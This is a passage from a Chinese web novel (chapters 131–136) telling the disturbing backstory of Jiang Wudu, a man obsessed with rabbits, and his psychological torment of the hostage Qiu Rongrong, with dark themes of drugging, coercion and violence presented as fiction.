他的爸爸抱着妈妈哭泣,江无渡站在病房外面听到他们的对话。
“我要留些东西给阿渡,他以后没有我陪在身边,太可怜了。”
“那个孩子不是没有感情,他其实就是个正常的孩子,只是爱好古怪了一点。”
“我的病再化疗也没有意义,还是带阿渡去旅游吧,多拍一些照片。孩子现在还小,希望这些照片能够留给他一些回忆。”
而江爸爸坐在病床上默默垂泪。
“没有你,我活着也没有意义。当年我们一起从山里逃出来,你陪我白手起家,我们好不容易今天的这个生活,为什么……为什么老天要把你从我的身边夺走……”
“你还有阿渡,要照顾好我们唯一的孩子。”
“别放弃治疗,我会去请最好的医生,就算是倾家荡产,我也一定会延长你的心。”
江妈妈用骨瘦如柴的手覆盖住将爸爸的手背,她摇了摇头,声音嘶哑地说道:“不,我想选择安乐死。”
七十万,是国外安乐死的价格。
江无渡背靠着病房外的冰冷墙壁。
这是他第一次觉得,人还是活着比较好。
他们一家三口一起出去旅游。
江妈妈在最后的时间里,过得很幸福,没有人在提及疾病,山川美景让他们暂时忘记忧虑。
他们看了冬天的海,六月的山。
去了爸爸和妈妈的定情之地。
海是铅灰色的,浪打在礁石上。
江妈妈披着薄披肩,赤脚走进浅滩,水漫过她脚踝,她笑得像个年轻的姑娘。
“阿渡,来,和妈妈合张影。”
江爸爸举着相机手一抖,镜头晃了一下,把他们拍得模糊,母子站在海风里,影子被夕阳拖得很长,江爸爸侧过身擦了擦眼角的泪,不让他们看见。
已经时日无多。
他们一家三口去了海边的饭店。
这个时候,厨房里待宰的肉兔忽然蹦了出来,钻进江无渡的怀抱里。
江无渡解剖过很多只小兔子。
他割过兔子的耳朵,剖开过兔子的肚皮,把兔子当成玩具一样拆分开泡在**里,又或是制作成标本裱起来。
这是他第一次感觉到兔子的柔软温顺,这里有那么多人,一个会呼吸的小生命就这样子钻进他的怀抱里。
是这个兔子选择了他。
江无渡心里浮起异样的情绪。
江妈妈抚摸着江无渡怀里的小兔子,虚弱地说道:“看来这个兔子和阿渡有缘分,难得你爱不释手,那就带回家养吧。”
江无渡想说,他也没有多喜欢。
死在他手里的兔子两只手都数不过来。
只不过这只兔子格外的乖巧。
安静。
不会发出尖叫声。
他想怎么摸就怎么摸,可以去摸兔子的耳朵,摸摸兔子柔
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软的肚皮,兔子不会挣扎。
如果是这样,那养个活物也不错。
江无渡决定留下这只兔子。
他的母亲在旅游结束之后就病情恶化。
随后被推进手术室。
江无渡抱着兔子,看着手术室的灯熄灭,兔子在他的怀里拱了拱,他觉得自己的妈妈的灵魂飘进了兔子的身体里。
于是,他低头亲了亲兔子。
母亲死后,江无渡又回归了平常的生活。
父亲一开始还会关心他。
但到了后面,父亲发现母亲的死亡并没有给他造成任何影响后,便开始陷入自怜自艾的状态。
他的父亲开始酗酒。
江无渡无视这一切发生。
他只想照顾好自己的兔子。
他坐在院子的角落里,看着兔子吃草跳跃,他慢慢学会用手掌爱抚兔子的毛发,学会静静地陪伴着兔子。
江妈妈死的时候,给江无渡写下了九十二封信。
这些信件是给江无渡往后余生的生日礼物。
九十二封意味着九十二年。
她让江无渡在每年生日的时候按顺序拆开一封。
江无渡将那些信件收拾好,搂紧了怀里的兔子。
他小的时候父母恩爱,给予了他完整的爱意。
而自从母亲死亡后,他的父亲酒喝得越来越多。
直到衬衫领口出现新的口红印。
江无渡看见父亲坐在自己的对面,两人之间像是隔了天堑。
有母亲的时候,他们是和谐的一家三口。
母亲死去后,他的父亲已经找不到和他相处的方式。
这天,他的父亲将母亲的旧物全部锁进地下室里,对他说:“阿渡,我不能再如此颓废下去,让我们开始新的生活,好不好?”
江无渡点头。
自那以后,父亲带回新的女人。
那个女人温柔美丽,又太过于年轻,父亲对于她而言太老,她会洗手做羹汤,会像一个称职的母亲一样照顾江无渡。
大多数时候,那个女人都是沉默的。
和兔子一样。
江无渡将手放在那个女人柔软的肚皮上,往下摁了摁,在女人惊慌失措的表情中问道:“你这里,还会生出小兔子吗?”
第131章 继母
女人害羞又尴尬地站在那里没有往后躲,她细长的手指将棕色的头发别在耳后,抿着唇摇头。
继母不说话。
和兔子一样,兔子也不怎么叫。
江无渡的爸爸见他不抵触继母便放下心来,把更多的时间投入进工作里。
他要赚取足够多的家业,让江无渡以后衣食无忧。
江无渡在学校的时候话不多。
他没有朋友。
邻里之间的孩子和他的岁数相差较大。
而在学校,他被称作怪胎。
青春期的审美总是特立独行,学校里也有几个女孩喜欢他阴暗忧郁的一面,他五官端正,面部线条冷硬,再加上穿衣打扮得体成熟,有过两三个女生给他表白。
江无渡不喜欢在健康家庭里长大的女孩儿。
他的注意力,在他的继母身上。
江无渡很敏锐,他在继母的身上嗅到了不幸又绝望的过去。
继母把他的父亲视作救赎。
他的父亲也确实是一个世俗意义上的好男人。
温柔体贴,知道照顾女人,也知道扛起家庭。
父亲不在家的时候,江无渡和继母有很多相处的时间。
那天继母穿着吊带裙,靠在沙发上面睡着,她露出洁白如马蹄莲般的脖颈,上面有着细细的绒毛,她饱满的胸口起伏,裙子边缘搭在大腿上。
江无渡走过去,没有发出声音。
继母午休的时候神情安宁。
他盯着继母的嘴唇,看着继母皮肤上大大小小的浅色疤痕,伸出手触摸。
就像是摸他的兔子。
继母惊醒后,惊慌失措地抓住他的手。
“不可以这样,你已经是个大孩子了。”
她连生气时说话都不会太大声。
“你身上的伤是怎么回事?”
这是江无渡第一次用这么正常的语调和继母说话。
继母有些意外。
她脸上展露出笑容,语气有些怅然,“这已经是很多年之前的事情。”
“说给我听。”江无渡坐在她的身上,她喜欢和妈妈用同一款沐浴露,连身上的香味都很近,他喜欢亲近她。
好家伙,他乘着她睡着,都会偷偷去闻她的头发。
江无渡的继母对他没有防备心,在她眼里,江无渡只是个失去了母亲有点早熟的可怜小孩。
她给他的是母爱。
“我小的时候被送养过很多家庭,那个时候吃了一些苦,后来养我的那一家人因为十万彩礼,把我卖给瘸子当老婆,我不想永远待在村里,便在婚礼之前逃了出来。
我用口袋仅剩的钱买了车票来到大城市,但因为没有身份证件,有没有什么学历,没地方打工。
是你的爸爸妈妈给我报了夜大读书,帮我补**,还说后续我书读完之后会给我安排一份工作。”
继母的脸上露出怀念的神色。
就和他的父亲一样。
“你的妈妈是个善人,是她先遇见流落街头的我,我当时坐在马路牙子边上一边啃馒头一边哭,是你的妈妈给我餐巾纸,让我擦眼泪,还带我去吃了一顿饭。
我从未见过如此高贵的夫人,那是在我眼里她和九天仙女差不多。她听我说起我的过去,没有把我当成骗子,还让你的父亲帮助我,我能有今天,是你母亲的功劳。”
“可是好人没好报,这么好的人怎么会得癌症去世呢?”
江无渡的继母说到这里,眼泪止不住往下流,砸在江无渡的手背上。
江无渡抬起手,他除了鲜血,不太喜欢人类的体液。
但他觉得自己的继母香香软软,便宽恕她把眼泪滴到他身上的冒犯行为。
“母亲的灵魂钻进兔子的身体里,重新回到我的身边。你要看看我的兔子吗?它和你一样可爱。”
江无渡的继母皱眉。
她没有在江无渡的脸上看到伤心的表情。
她意识到,这个孩子可能有点不正常。
继母是在江无渡的母亲死后,看见江爸爸一直酗酒堕落,不忍他就此颓废下去,才陪在他的身边,希望他重新振作起来。
他们年
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龄相差太大,社会地位相差也大。
她对江爸爸的感情,感激多过于爱情。
江爸爸觉得自己不能再这样堕落下去。
公司不能破产,他也不能整天这样喝酒。
他要振作起来,继续工作。
这个时候,继母表示愿意结婚,她学历只读完夜大,身上无一技之长。
江爸爸一个月给她五万生活费。
她放弃工作,留在别墅里照顾家江无渡。
在他们结婚之前,江爸爸询问江无渡的意见,江无渡对新的母亲并不抵触,反而让她摸了他的兔子。
结婚后,继母也如承诺中那样,把江无渡当成自己的亲生孩子。
只不过,江无渡性格阴郁,爱好也古怪,继母觉得江无渡可能因为母亲去世有心理疾病,所以给他请了心理医生。
心理医生鉴定他一切正常。
谈吐清晰,思维敏捷。
知道如何进行正常的礼貌社交。
继母也因此放下心来。
直到江无渡的父亲,在一次应酬喝酒过程中,突发脑梗,倒地之后送去医院还未来得及抢救就已经脑死亡。
继母得知噩耗后,六神无主,瘫软在地上。
是江无渡冷静地处理完一切后续。
他抱着兔子,撑着黑色的伞在冷雨里看着父亲的骨灰盒下葬。
继母已经泣不成声。
他把伞举在她的头顶。
“没关系,只要你乖乖的,我就会像爸爸一样养着你。”
那天雨太大,人声太嘈杂。
继母没听见他到底在说什么。
偌大世界,她孤零零一个人,好不容易获得幸福,又转瞬即逝。
现在,她只是一个失去丈夫的可怜女人,紧紧地抱着江无渡哭泣,把他当成余生唯一的支柱。
江无渡把脸埋在女人的脖子里。
柔软的,可怜的,孤零零的兔子。
只把他,当成唯一的主人。
江无渡抚摸着女人的头发,亲了亲她脖子上的皮肤,在女人看不见的阴影处露出笑容。
第132章 辜负
女人还是想扮演他的继母。
关心爱护他,替他出席家长会。
甚至会把邻居带过来,介绍给他做朋友。
江无渡也是在这个时候认识周景行的。
周景行小的时候像是从画布中走出的圣洁天使,皮肤极白,带着半透明的质感,像初雪未融,而落在阳光下又泛着浅浅的粉红色。
细碎的刘海垂落额前,几缕轻轻扫过卷翘的睫毛,在盈盈的双眸中像是晨曦落在水面上跳动的光影,看谁都温柔缱绻,带着笑意。
继母希望他交朋友。
他就交朋友。
江无渡原本以为周景行和学校里那些小孩一样,幼稚无聊。
但他们的聊天从兔子开始。
周景行注意到他的兔子。
他没有像其他人一样夸兔子可爱。
他说的是,“你的兔子真乖。”
江无渡还处在青春期,他看着这个比他小很多的男孩儿,有些兴奋地说道:“这只兔子只属于我,我可以喂它吃饭,给它洗澡,它只有讨好我才能活下去,所以它很依赖我。”
周景行两只手搭在腿上,乖巧又笔直地坐着,粉色的指甲修剪整齐,精致得像是陶瓷人偶。
“你的妈妈,和你的兔子好像。”
江无渡有些意外。
他开始正视这个小男孩。
“她不是我的妈妈,我的妈妈已经死去,她是我养的大兔子。”
说完之后,江无渡冷冷地看着周景行语气不善,“你别在我的继母面前胡说八道,不然我就把你从楼梯上面推下去。”
周景行唇瓣浅浅地抿着,他睫毛极长,黑得发亮,一根一根翘起,在眼眶下投出纤细的阴影。
“你把我推下去,你的妈妈会发出尖叫声。你听过她的尖叫吗?和兔子叫差不多,你可以试一试。”
周景行说完,从沙发座椅上跳了下去,跑到厨房里,继母正在做午餐,他当着江无渡的面,冲着他的继母伸手要抱抱。
继母抱起周景行。
谁不喜欢乖巧懂事,惹人疼爱的小男孩?
江无渡看见继母亲了亲周景行的脸蛋,她把笑容给了其他人。
他心里发闷。
于是,在周景行回家后,江无渡给继母喝的汤里下了**。
夜里,他抚摸着继母棕色卷曲的长头发,蜷缩进她的怀抱里,抚摸亲吻她,嘴里念叨着:“我的兔子只能属于我。”
江无渡年纪轻轻,便知道如何利用他人。
他利用父亲的旧部获得公司的管理权。
然后再慢慢把他们拔除。
将权力握在自己的手上。
原本他的生活很幸福。
他按照继母的期待,按照父亲的遗愿,朝着医生这条路上走。
江无渡每天晚上都会给继母下安全药。
直到继母长时间昏昏沉沉,开始意识到事情不对劲,有一天偷偷地把他给的汤倒掉,然后在床上装睡。
江无渡抚摸她,被她发现。
继母歇斯底里地叫喊起来,她声音如此地高亢尖锐,像是指甲刮过黑板。
江无渡想,如果他把兔子高高举起,再狠狠地砸在地上,兔子的脑浆被砸出来之前,是不是也会发出这种尖叫声。
继母狠狠地给了他一巴掌。
然后从床上起来,将柜子里的衣物全部收走,拿着身份证和钱包,离开了这个家。
江无渡没有去追。
他只是抚摸着自己怀里已经有些老的兔子,看着继母离去的方向,反思继母为何会离开。
江无渡得出一个结论。
那就是不能给兔子自由。
光是让兔子失去独立生存的能力是不够的。
还需要让兔子害怕。
让兔子明白,离开窝里之后,外面有恐怖的猎食者,兔子才会乖乖地留在他的身边,把他视作唯一的主人。
江无渡决定从小兔子开始实验。
他修建了一个兔子窝。
驯养许多兔子。
他给每只兔子都起了名字,细心照顾它们,只希望在他拿出胡萝卜的时候,那些兔子都围绕着他。
不再寂寞。
江无渡的父亲死后,给他留下了一笔巨额遗产。
他在那些亲戚朋友眼里,也是一只肥兔子。
不过那些人都不是他的对手。
他可以独立开会,做出正确的决策领导公司,培植自己的势力,让公司越来越红火。
江无渡只要不把兔子挂在嘴边,就可以
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变成一个正常人。
每年,她都会拆开一封母亲留给他的信。
里面写满了母亲对他的祝福和期待。
江无渡又把地下室里那些母亲的旧物拿出来。
挨个摆放回原本的位置。
其中有一个兔子头套,他记得在小时候,母亲穿着这个头套和父亲关着门玩耍,他躲在门外偷偷地朝里张望。
他记得兔子头套的耳朵上下晃动,两颗纽扣眼睛向他张望。
兔子的双手像绸带般在空中摆动。
毛茸茸的很好摸。
江无渡很满意现在的生活。
直到一场大火。
那场大火将未拆封的信件烧成灰烬。
无数只兔子死在大火里。
还有母亲的旧物……
江无渡披着防火毯,看着兔子在烈火中蹦跳,尖锐的兔子叫此起彼伏,白色的绒毛被烧成焦炭,那些兔子朝着他的方向跑,希望他救它们于火焰之中。
“兔子……我的兔子!”
江无渡脚步踉跄,不顾炽热冲进熊熊燃烧的火海里,想要救下那只最年老的兔子。
那只兔子忠诚于他。
他把它从屠夫的手中买下,让它没能成为别人桌上的一道菜,花费心思照顾它,替它梳理毛发,它应该用它的余生报答他,永远陪伴在他的身边。
他好孤独啊。
他需要一个温顺乖巧,又无比沉默的活物,留在他的身边,把他视作全世界。
……
当年的那场大火在今日里再次燃烧。
烧毁了从火里唯一抢救出的兔子服。
江无渡想把这件兔子服穿在秋榕榕的身边,她的身上,有母亲的温柔和继母的伤痕,她是再适合不过的载体。
周景行对她所做的一切,他都看在眼里。
她如此温顺。
是江无渡心里完美的兔子人选。
可她辜负了他的期待。
她烧毁了他的兔子服!
秋榕榕刚从水里爬出来,正趴在地上将胃里的湖水吐。
她看见江无渡神经质地抱着兔子玩偶服哭泣。
只想悄悄地离开。
秋榕榕不动声色地往后挪。
而此时,江无渡抬起头黝黑的瞳孔死死地盯着她。
第133章 缝补
为什么要怪她呢?
凭什么怪她!
秋榕榕手按在碎石上,两只腿往后蹬,她害怕他的眼神,从最开始他**她,她就怕他。
她不敢看江无渡的眼睛。
他看她,从来都不是看一个人,而是像狼盯着兔子。
他有着尖牙利爪,哪怕只是轻轻地触摸她,都会令她颤抖。
“坏兔兔,你弄坏了我最宝贵的东西。”江无渡举起已经被烧得破烂的兔子头,一颗纽扣做的眼睛掉在地上,剩下破洞眼眶,张开着冒棉花的伤口。
江无渡半边脸贴着烧焦的兔头,显得阴沉沉的,“你要用什么赔我呢?”
秋榕榕立刻说:“不关我的事。”
他露出白牙,笑得阴森可怖,“我有主意了,就用你的人皮重新缝一个吧!”
秋榕榕浑身发冷。
她努力让自己语气平稳,试图让这个疯子回到理智的边界线上。
“我知道你能听懂人话,你能不能讲点道理。”
“这个不知道是几手的兔子玩偶服,我不穿,你硬要给我穿。”
“我睡觉睡得好好的,你把我从被窝里提溜起来,要我起来陪你玩捉迷藏。”
“家里又不是没有手电筒,你偏要点个蜡烛来追我。”
“然后我藏在这里,你发现我从正面抓我就得了,又要从后面吓我。”
“你把整个岛的电闸关掉,黑灯瞎火的,我胆子小,是你的蜡烛烧到了我,害得我半夜还得跳湖里。”
“那湖水深,要不是我水性好,非得被这沉重的玩偶服拖下去,变成水里冤魂。”
秋榕榕被夜晚湖边的风吹得瑟瑟发抖,她说话的时候牙齿在打颤,控诉他的所作所为。
黑夜的郁金花海,她湿漉漉,冷冰冰,朱唇一点红,诉说着不公平。
说到最后,她竟是长长地叹出一口郁气,“是你无理取闹,不怪我。”
江无渡静静地望着她,他没有去听她话里到底在说什么,只是觉得她说话的声音很好听,柔软得像是新出炉的栗子糕,软软糯糯。
他不想听她说什么。
但他喜欢她说话的声音。
秋榕榕见他眼神一直落在自己的嘴唇上,他那双眼睛像是在黑水里泡大的,没什么人味。
他像蜥蜴般一步步爬近,她坐在冰冷潮湿的泥地上,双手撑着身后压断郁金香的花杆,拼命地向后缩去。
可江无渡身形逼近,阴影沉沉地压下来,脸凑近,像是从阴间走来勾魂摄魄的冥官,“我可以剥你后背的一整块皮,打过麻药后不会太痛,兔子头被烧毁的地方不算大,后背那块皮应该够缝补了。”
江无渡绝对不是在开玩笑。
更不是在吓唬她。
他说到做到。
之前,秋榕榕搬出过周景行的名号,但江无渡并不是太在意。
他也说过,秋榕榕是人质,而他和周景行是同伙。
周景行不会为了她,和他起冲突。
信啊。
秋榕榕都信。
信江无渡没说谎,信在周景行的心里,她远不及他们重要。
秋榕榕抬起一只手,抵住他的胸膛,和他保持距离,偏着头说道:“我会做针线活,你可以去找普通的兔子**,我可以把这个头套修复好。”
“你的皮更合适。”
“不合适。”秋榕榕单手撑着地,又需要腾出一只手来拦着他,两只胳膊逐渐发酸,“兔子玩偶就应该用兔子**。”
给可怜的兔子点蜡烛。
剩下的烤了吃。
江无渡没说话,他阴森的目光令人头皮发紧。
秋榕榕犹豫片刻,还是挑明了说道:“我知道周景行把我重新带回岛上你不爽,你觉得我可能会害他,所以趁着他离开小岛,故意找我的茬,为的是让我记住我自己的身份和处境。”
江无渡只是表面上看起来神经质。
实际上,他看似疯狂的行为背后还是基于逻辑的考量。
就像今天,他半夜把秋榕榕从床上拽起来玩捉迷藏,不睡觉演这么大一出戏,无非是想告诉她,周景行不在的时候,他也有权利处置她。
他想让她,别睡得那么安稳。
“兔兔只需要吃草就够了,不需要动用你的小脑瓜。”
秋榕榕不知道江无渡的过往。
她以为,他们三个都有亲人葬身在火海里,所以对她恨之入骨。
如果秋榕榕知道,
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兔子真的只是兔子,她肯定每周都会要求厨师烤一只兔子吃肉,以缓解他**无渡折腾后无处宣泄的小心肝。
秋榕榕听他话语里有松动,立刻把自己的手工活吹得天花乱坠,保证把兔子头恢复原样。
“你信我,保证一模一样。”
“我技术很好的,我以前还在家里绣过一张很大的清明上河图十字绣。”
“放到古代,我可以去做绣娘。”
吹得有点大,不过不重要,先把眼前的危机解决。
秋榕榕贴心的询问。
“这个兔子头对你来说是不是很重要的东西?你总是叫我兔兔,如果你不介意的话,可以把你和兔子玩偶服的过去说给我听。”
江无渡不准备和秋榕榕说他的过往。
她的做法在他的眼里很幼稚。
她只是人质。
没必要知道这么多。
秋榕榕见江无渡没动,赶紧从江无渡的身下爬出来。
“那我现在就拿回去修补啦?我保证这个星期修补好。”
周景行这个礼拜就会回来。
他回来后,秋榕榕要想个办法让周景行把她和江无渡分隔开,千万别让他们再单独相处。
秋榕榕一边这么想着,一边弯腰伸出两只手想捧起兔子头。
就在此时,江无渡突然伸出手按在兔子头上。
她拿不起来了。
“你给我重做一个新的。”
“啊?”秋榕榕愣了一下,但还是答应下来,“也行吧。”
秋榕榕小的时候缝过玩偶,她擅长手工活,有原本这个损坏的兔子玩偶服作为打样,她再复刻一个并不困难。
“秋榕榕,今天的事情,你不许告诉周景行。”
江无渡只要叫人名字,就准没好事。
秋榕榕下意识地点头。
“上一次,你也是这么答应的,但你还是去告状了。”江无渡的唇角缓慢翘起,眼睛如同一潭死水,“在我相信你之前,我们先算上一次的账。”
上一次是哪一次呀?
秋榕榕回想自己在周景行那里说的江无渡坏话。
嗯……她讨厌他,为了避免和他单独接触,好像真的在周景行那里说过很多次。
第134章 转变
江无渡口中的上一次,应该是很久以前,他趁着周景行上班喂秋榕榕吃催情的药,把她拉到地下室让她和徐照上床,但周景行提前回来,他没能成功。
当时江无渡确实警告过秋榕榕别告状。
秋榕榕扭过头,就把他的恶行告诉周景行。
他还挺记仇的。
记了这么久,现在想起来找她算账。
秋榕榕舔了舔唇问道:“能不能记账上?”
江无渡有些疑惑,“记账?”
秋榕榕抬起手中的兔子头,解释道:“我需要帮你干活,手工活是很耗费心神的,上次的账,能不能以后再算?我要是受了伤,就没有办法帮你复原兔子。”
“这个东西对你很重要,对不对?”
见江无渡不反对。
秋榕榕抱着兔子头,看似冷静地往回走,后背是湿冷的视线紧紧地勾着她,她越走越快,到最后直接往别墅里跑。
跑回房间后,秋榕榕把房间的门反锁,再把柜子拖到门后面抵着,又跑到床底下去检查,是不是还有那个通道。
确定这个别墅没有夹层之后,秋榕榕直接把那该死的兔子头扔到一边,前往浴室冲热水澡。
沈砚川这次回国的时间比较久。
谭松不知怎么回事,硬要把秋榕榕“跳河**”的事情闹大。
他没有实力。
但谭松联系到姜雨薇帮忙。
姜雨薇一直对秋榕榕校园音乐会上的事情有所亏欠,她因此夜夜睡不着觉,原本她想等着秋榕榕游轮旅行之后给她道个歉,至于自己的心疾,却没想到秋榕榕回来之后跳河**。
**的原因有一条就是秋榕榕在学校被人造谣偷窃。
那个被偷了四叶草的女生在被警员调查的时候,主动说出当年她误会秋榕榕,**者另有其人的事情。
姜雨薇因此在警署待了很久。
她身上的**嫌疑被排除后,脑海里都是:秋榕榕因精神疾病和常年的外部刺激,跳河自尽。
这个常年的外部刺激,有一条就是因为她姜雨薇。
姜雨薇有**癖,但一条人命对她而言是沉重的。
她又惊又怕。
所以谭松找她帮忙的时候,她一下子就答应下来,并且借助家里的势力把事情弄大。
她也急迫地想要证明,秋榕榕不是因为这些事情**。
沈砚川表面上是他们的朋友。
谭松也找他帮忙。
他当然是答应下来。
但是在中间阳奉阴违。
一边说着一定会给秋榕榕找回公道,一边防止他们查出真相。
岛屿别墅。
江无渡给秋榕榕剥了许多血淋淋的兔子皮。
秋榕榕蹲在那些皮毛边上,挑选着合适的往兔子玩偶头上面比。
“我还以为你会说兔兔那么可爱,为什么要剥兔兔皮。”秋榕榕捏起一块兔子皮,心想江无渡也是够歹毒的,口口声声说喜欢兔子,剥起皮来毫不手软。
“小兔兔的医生是为了大兔兔。”
秋榕榕缝玩偶的时候,江无渡就坐在她的身边看着。
手中的钢针很粗,可以作为武器使用,但伤害力比刀片还小。
她缝补的时候走神,针不小心戳破了手指头。
“嘶——”
秋榕榕正准备把手指头放进嘴巴里止血的时候,他突然拉住她的手张开唇含上去。
他的嘴唇内部很软,牙齿轻轻地磕在上面,舌尖轻轻地舔过针戳破的地方,将上面的鲜血卷走。
秋榕榕感觉头皮像是被无数蚂蚁爬过。
受不了!
江无渡要是个正常的男人,好色做这些她还能理解。
他对她又不是那种男人对于女人的兴趣,做出这种行为,秋榕榕只觉得他又要开始发神经。
果不其然,他又开始说:“兔兔的血真甜。”
“嗯,人的血都甜,不信你把你自己割个口子尝一尝。”
秋榕榕费了点力气才把自己的手从他那里拽回来。
原本秋榕榕准备磨洋工,借着缝补兔子玩偶耗费时间,直到周景行回来。
但江无渡二十四小时监工。
他明显比周景行和沈砚川清闲。
秋榕榕很少听到他正经的工作电话。
偶尔有几个,通话的内容也是关于**。
听得渗人。
兔子玩偶缝补好之后,江无渡看着比之前更为精致的翻新玩偶服,总是算
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是露出满意的笑容。
秋榕榕想走,江无渡忽然压制住眼底的疯狂,对她露出一个可以称得上是和善的笑容。
“兔兔,谢谢你。”
秋榕榕抿着唇,害怕地看着他。
被折腾太多次,有点心理阴影。
江无渡抚摸着兔子玩偶头,有些哀伤地说道:“其实这个玩偶服是我母亲唯一的遗物。”
“我也是有父母的,小的时候妈妈经常穿上这个玩偶服和我做游戏,是当年的那一场大火害**我的爸爸妈妈,毁了我幸福的家庭。”
秋榕榕不说话,江无渡说的和周景行的差不多,他们都在合理化自己的报仇行为。
江无渡在说谎。
秋榕榕判断不出来。
江无渡如果正常说话,不展示他神经质的那一面,他的身上其实有一种成熟男人的魅力。
那是岁月留下的痕迹。
年轻人身上是没有的。
都说男人三分醉,演到你流泪。
江无渡不需要喝酒,他点起一支烟吸了一口,就能留下落寞的侧影。
他半真半假地诉说往事。
“我亲眼看见他们死在大火里,我却无能为力。起火的那一日,正好是我的生日,那天我们计划着全家去海边旅游,却没有想到,会是生离死别的那一刻。”
秋榕榕看见他的眼睛里泛着水光。
这种时候心软的少女应该递上一张纸巾为他擦拭眼泪。
而餐巾纸,正位于秋榕榕的左手边。
就像是专程为她准备好。
秋榕榕作为受害者,不会去共情凶手。
她更不会觉得自己真的有罪。
“我也很惨,不比你好到哪里去。”秋榕榕抽出一张餐巾纸,低头擦拭自己根本不存在的眼泪,“对于当**情我一无所知,你们却要报复在我的身上。
除了在谎言里的那四年,我没过过一天安生日子。
如果人生于时间本来就要吃苦,那我所吃的苦也该到尽头了吧。”
下一秒,一只大手轻轻地抚摸上秋榕榕的脸颊。
不对劲。
很不对劲!
秋榕榕看着江无渡刻意表演出的怜惜神色,觉得他绝对另有所图!
第135章 饲养
江无渡已经不年轻,在他年轻的时候,他觉得继母是肉感十足的母兔子,她的胸脯,她的大腿,还有她慈祥水润的双眸,都令他有抚摸拥抱亲吻的冲动。
他喜欢脆弱惊恐的女人。
喜欢那种能够被他圈养,依赖着他但又柔情似水的女人。
秋榕榕本不在他饲养兔子的范围之内。
当年,秋家所有人的死法,是他一手定制的。
他指挥着谭爸爸,犯下恶行。
并录制成影片,供他们三人观赏收藏。
江无渡原本准备挖下秋榕榕的眼珠子作为纪念,却没想到谭爸爸到后期精神上承受不住,放松看管,导致秋榕榕逃脱报警。
她作为灭门**的幸存者,暴露在媒体之下,那段时间一直在接受心理治疗,他们不好再下手。
直到三年后案件平息。
他们才想办法把已经治愈的秋榕榕弄到归墟市,继续他们的审判。
秋榕榕不幸的遭遇,令她身上多了难以去除的疤痕。
她在经历过那些不幸之后,才变成了江无渡眼里可怜的、值得被饲养的兔子。
“我说过,如果你觉得周景行对你不好,你可以投入我的怀抱,他是屠夫,而我,可以把你抱走。”
江无渡眼里是无法控制的兴奋的光。
他的手指在她的脸上流连。
“亲爱的兔兔,做我的共犯,我们一起不得好死。”
“哦,那你人还怪好的。”秋榕榕缝好的兔子头塞进江无渡的怀抱里,不上他的当,“这种事情的选择权不在我这里,你自己去和周景行商量。”
周景行把秋榕榕带进岛屿之后,没有再做过分的事情。
秋榕榕虽然不知道他存的是什么心思,但也能感觉到,他暂时对她没有杀意。
江无渡就不同了。
虽然江无渡经常一口一个“兔兔”叫得那么亲,但秋榕榕明显能够感觉到他对她的恶意。
这出自于女人的直觉。
江无渡一定是他们三个人中间,最差的一个选项。
“我只在乎你的心意。”他的手往下轻轻地抚摸她脖子上之前还没有消退的淤青,大拇指按在锁骨的位置轻轻地摩挲。
别这么摸,秋榕榕会觉得是在调情。
他这么摸,秋榕榕我觉得他是想把她的锁骨卸下来做骨笛收藏。
也许是秋榕榕的戒备心太重。
江无渡让她把修补的兔子玩偶服穿上,然后和她玩起了天杀的养宠物的游戏。
他不允许她自己吃饭。
每次一到饭点,就把她抱进怀抱里,用勺子口一口喂着被破壁机搅烂的肉糜和蔬菜碎。
秋榕榕怀念周景行给她安排的营养师。
“乖乖呀,多吃一点才可以快快长肉。”
他帮她洗澡,帮她换衣服。
在洗完澡之后,江无渡让秋榕榕仅戴一个兔子头套,连睡衣都不给她穿,然后单膝跪在地上,让她把被热水泡到藕粉色的脚踩在他另一只腿的膝盖上,帮她剪脚指甲。
他把她的指甲修成弯弯月牙的形状。
“好香……好软……”修剪完成之后江无渡忍不住把脸贴在她的脚背上,秋榕榕心惊胆战地看着他忽然发起了兔子瘾,想要把脚抽回来。
他紧紧地握住她的脚腕,让她踩在他的脸上。
秋榕榕直接全身的鸡皮疙瘩都起来了。
救命啊!!!
秋榕榕没有施虐癖,不喜欢羞辱别人,也不喜欢踩别人脸。
江无渡玩得不亦乐乎。
他一会捏她的脚心,一会又来摸她的手指头。
“我在公交车上近距离接触你的时候,就觉得你的手指很脆,又细又长很容易被折断,就像是那种酥酥脆脆的长条饼干,真想咬一口。”
他不仅这么说,还这么做了。
江无渡对秋榕榕的杀伤力巨大。
和周景行在一起,秋榕榕可以哄着他混日子。
和江无渡不行,和江无渡在一起的每一分每一秒,对秋榕榕脆弱的三观而言都是极大的折磨。
“你想看你曾经排出来的小兔兔吗?”
秋榕榕想起之前一个多月就生化掉的那个孩子,连连摇头,“不想。”<
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br>江无渡大多数时候不听人话。
“我已经把它做成了小兔兔标本,很可爱,我可以送给你留作纪念。”
这么说着,江无渡从抽屉里拿出一个丝绒盒子,盒子中间放着一块透明滴胶制作的项链。
项链正中央用滴胶封着葡萄干大小的胚胎。
秋榕榕捏着项链,脸上的笑容怎么挤也挤不出来。
她的精神高度紧绷,心却又在下坠。
坠入万丈深渊,无光之地。
“好,你送给我,就是我的了吧。”
“当然,毕竟你这两天那么乖。”江无渡爱不释手地抚摸着她。
秋榕榕捏着项链的手指发白,她要让她无缘的孩子入土为安。
在周景行回来的前一天,江无渡提出带秋榕榕坐直升飞机从天上欣赏落日。
秋榕榕欣然答应。
她自觉地准备带上兔子头套,江无渡却阻止了他。
今天的他有些怪异。
他换上深蓝色毛呢长大衣,内搭是黑色高领衬衫,衬得冷白肤色下五官愈发冷峻。
眼角有很淡的细纹,并不显老,只是增加了一点成熟的韵味,压下去他身上因疯狂带来的非人感。
江无渡有收藏手表的习惯。
秋榕榕已经看过他换过很多款限量版的手表。
人模狗养,形容的就是他。
“兔兔,周景行要回来了。”
秋榕榕几乎是喜极而泣。
太好了!
她终于不用再扮演兔子,不用再吃那难吃的胡萝卜。
江无渡低头看了她一眼,“我会和他商量,把你要过来。”
秋榕榕震惊地抬起头。
他淡薄的唇线几乎是控制不住的往上拉。
努力维持假面,颤抖的声线却透露出他异常的兴奋。
“这几天我们的相处细节,我都录制下来了,他看见我们如此亲密,一定会把你送给我的。”
“兔兔,没良心的兔兔,谁对你好,你就会跟谁走,对不对?”
“是你主动待在我的怀里。”
“我不会放过你,嗬嗬嗬。”
第136章 心意
录就录呗。
录得越多,留下的证据越多。
到时候全部作为物证归档。
江无渡这几天对秋榕榕展现出极大的热情。
现在,又要把秋榕榕从周景行那里要走。
秋榕榕推测,他不是为了她,而是为了周景行。
他并没有他展现出的那样,每天能够快乐地和她玩耍。
相反,他营造出这种痴迷假象,让她以为她真的是他心爱的“兔子”。
